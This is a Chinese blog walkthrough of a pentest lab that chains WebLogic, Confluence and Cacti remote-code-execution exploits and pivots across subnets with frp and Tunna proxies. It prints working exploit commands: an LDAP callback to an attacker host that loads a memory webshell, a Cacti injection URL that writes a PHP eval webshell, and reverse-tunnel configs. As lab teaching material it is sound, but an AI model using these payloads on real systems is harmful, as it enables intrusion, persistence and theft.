Weblogic RCE + confluence RCE + cacti RCE正反向代理靶场

在这里插入图片描述

靶场

截屏2023-03-20 20.48.43

  • weblogic - confluence - cacti

与实际区别

  1. 没有太多限制,没有杀软、waf
  2. 靶场每个机器都是跨网段机器
  3. 靶场中机器数和种类很少的多,网络复杂性低很多
  4. 靶场中没有蜜罐,不需要考虑被溯源

1.网络边界Weblogic

通过外部信息收集发现其在 192 网段机器上开放 7001 端口为 weblogic 服务

拿shell

使用 poc 打入冰蝎内存马

./CVE-2023-21839 -ip 192.168.186.143 -port 7001 -ldap ldap://192.168.186.1:1389/Basic/WeblogicMemshell1

# filter 内存马
# https://github.com/Jeromeyoung/JNDIExploit-1

截屏2023-03-19 10.31.56

其中 jndiExploit 支持普通shell和冰蝎马,冰蝎马连接需要小改一下冰蝎客户端,参考链接:

  1. 冰蝎改造之适配基于tomcat Filter的无文件webshell
  2. 改造冰蝎客户端适配JNDIExploit的内存马
  3. JNDIExploit工具冰蝎内存马连接

测试

http://192.168.186.143:7001/console/login/LoginForm.jsp?type=basic&pass=whoami

截屏2023-03-19 10.34.06

使用修改后的冰蝎连接内存马,在访问时需要添加 X-Options-Ai 头部,密码为rebeyond

截屏2023-03-20 19.10.13

经过简单信息收集发现其有两个网卡,存在一个内网段 10.10.20.12/24

截屏2023-03-20 19.12.26

systeminfo 发现其为一台 Windows Server2012 R2 机器,有几种思路

  1. 直接搭建隧道代理去横向移动
  2. 利用漏洞新建 Windows 用户,使用3389远程桌面连接
  3. 抓取密码使用 RDP 远程桌面,但是 2012 直接使用 mimikatz 抓不出来密码,需要修改注册表强制锁屏等待管理员登陆

搭建frp反向代理

这里我们使用物理机来代替 vps,使用 frp 搭建反向代理,首先通过冰蝎上传 frpc 客户端,在虚拟终端执行

截屏2023-03-20 20.37.51

这里配置文件 frpc.ini

[common]
server_addr = 192.168.186.1  #远程 vps IP
server_port = 7891

[http_proxy]
type = tcp
local_ip = 10.10.10.131 #本机内网IP
remote_port = 1234  
local_port = 1234
plugin = socks5

在 vps 启动 frps

截屏2023-03-20 20.39.34

Frps 其配置文件为

[common]
bind_port = 7891
bind_addr = 0.0.0.0

然后使用 proxifier 代理软件,将 frp 代理设置为全局代理,方便我们使用浏览器访问,首先添加代理服务器,IP 设置为 192.168.186.1 因为是本地或者设置 0.0.0.0 也可以

截屏2023-03-20 20.41.24

然后添加代理规则,指定访问 10.10.10.* 的流量走 frp 代理

截屏2023-03-20 20.42.59

这样我们就可以在浏览器直接访问 10.10.10.130:8090 了

截屏2023-03-20 20.43.52

连接过程示意如下:

截屏2023-03-20 20.46.58

2.内网confluence

拿shell

java -jar CVE-2022-26134.jar http://10.10.10.130:8090 pass key

打入内存马击中上线哥斯拉(下图IP应为10.10.10.130:8090)

截屏2023-03-16 15.26.36

通过信息收集发现其还存在另外一个网段 10.0.0.*

截屏2023-03-21 10.17.21

搭建frp反向代理

因为目标机器除 8090 端口可以正常双向通信外,其他端口只出不进,这样的话我们可以再搭建一层 frp 隧道,在 confluence 机器作为 frpc, Windows Weblogic 作为 frps

使用哥斯拉上传 frpc,但是一直上传不上去,怀疑是哥斯拉连接时设置了 Connection: close 导致,这样尝试将 frpc 分段上传,共19个文件

# 压缩并分段
tar -czvf - frpc | split -b 250K - frpc.tar.

将文件上传至 confluence 服务器,使用命令组合并解压文件

cat frpc.tar.* | tar -zxv

上传 frpc.ini 配置文件,修改如下

[common]
server_addr = 10.10.10.132
server_port = 7892

[http_proxy]
type = tcp
local_ip = 127.0.0.1
local_port = 2345
remote_port = 2345
plugin = socks5

WebLogic fps.ini配置文件如下

[common]
bind_port = 7892
bind_addr = 0.0.0.0

启动之后,在物理机客户端配置 proxifier 代理,首先添加代理服务器,然后添加代理链

截屏2023-03-21 10.14.45

然后添加一条代理规则

截屏2023-03-21 10.16.14

之后就可以使用浏览器去访问 10.0.0.131/cacti 服务

截屏2023-03-21 11.47.19

下图为目前环境

截屏2023-03-21 16.18.23

3.内网cacti

拿shell

使用 cve 写入哥斯拉 webshell

http://10.0.0.131/cacti/remote_agent.php?action=polldata&local_data_ids[0]=6&host_id=1&poller_id=`echo "PD9waHAgZXZhbCgkX1BPU1RbInBhc3MiXSk7" | base64 -d >2.php`

# <?php eval($_POST["pass"]);

截屏2023-03-21 15.55.19

使用哥斯拉连接

截屏2023-03-21 15.56.42

经过信息收集发现其有两张网卡

截屏2023-03-21 16.01.03

搭建http正向代理

经测试,该机器只有 80 端口可以双向通信,可以搭建基于 http 的正向代理隧道,访问 10.0.10.* 网段

使用 python -V 命令发现 confluence 机器上的 python 版本为 2.7.5 隧道代理工具可以选择 httptunnel:https://github.com/SECFORCE/Tunna

首先将 php 的 payload 上传至 cacti 目录下

截屏2023-03-21 17.12.13

在 confluence 哥斯拉上传 tunnel 文件

截屏2023-03-21 17.13.52

使用命令启动

python proxy.py -u http://10.0.0.131/cacti/conn.php -l 5794

连接远程 php 文件,开启正向代理,将 confluence 机器的 5794 端口作为 socks 转发

接下来还是配置物理机 proxifier ,首先增加代理服务器和代理链,这里我添加了一个新的代理链,方便排错,其中 10.0.0.132 confluence IP

截屏2023-03-21 17.17.14

添加规则,将通向 10.0.10.x 的流量走新的代理链路

截屏2023-03-21 17.18.12

开启代理前是无法正常访问 10.0.10.129 的,开启代理后可以访问,如下图

截屏2023-03-21 17.08.28

最终网络代理情况如下图

截屏2023-03-21 17.31.00

在这里插入图片描述

猜你喜欢

转载自blog.csdn.net/q20010619/article/details/130017847
今日推荐